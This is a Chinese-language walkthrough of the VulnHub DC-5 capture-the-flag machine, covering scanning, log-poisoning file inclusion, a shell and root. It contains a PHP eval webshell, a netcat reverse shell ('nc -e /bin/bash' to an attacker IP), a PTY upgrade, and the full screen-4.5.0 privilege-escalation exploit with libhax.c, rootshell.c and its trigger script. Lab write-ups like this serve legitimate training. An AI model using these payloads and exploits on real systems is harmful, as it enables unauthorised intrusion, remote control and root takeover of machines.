靶机地址
https://www.vulnhub.com/entry/dc-5,314/
打开靶机,设置为同一种nat模式
kali 信息收集主机
arp-scan -l
扫描存活ip,开启80,111端口
nmap -sS -p- 192.168.1.243
访问目标网址发现contact可以上传
填写信息后上传发现异常
dirb 目录扫描
dirb http://192.168.1.243/thankyou.php?
填写信息后上传发现异常
抓包验证,修改文件路径file=/etc/passwd,可以发现系统对访问的文件没有做审核
更改路径为一句话木马,发送后返回404页面,配置nginx页面,在/var/log/nginx/access.log和/var/log/nginx/error.log记录状况
/poc <?php @eval($_REQUEST[root]);?>
发现上传成功,通过蚁剑连接
kali 开启nc监听,在蚁剑终端进行反弹,连接不稳定使用python交互模式
nc -e /bin/bash 192.168.1.162 9999
python -c 'import pty;pty.spawn("/bin/bash")'
使用以下命令寻找root权限无密码存在
find / -perm -u=s -type f 2>/dev/null
解析该命令
https://blog.csdn.net/chest_/article/details/102727490
通过命令搜索screen相关漏洞,找到screen-4.5.0
查看文件位置,并保存
searchsploit -p 41154.txt
查看cat文件,三部分组成和编写命令
分别创建 libhax.c,rootshell.c
libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("rootshell", 0, 0);
chmod("rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
gcc -fPIC -shared -ldl -o libhax.so libhax.c
rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
gcc -o rootshell rootshell.c
dc5.sh 保存使用:set ff=unix
#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
更改权限chmod +x dc5.sh,执行
参考链接:
https://blog.csdn.net/xdbzdgx/article/details/121411531
https://blog.csdn.net/Perpetual_Blue/article/details/124313391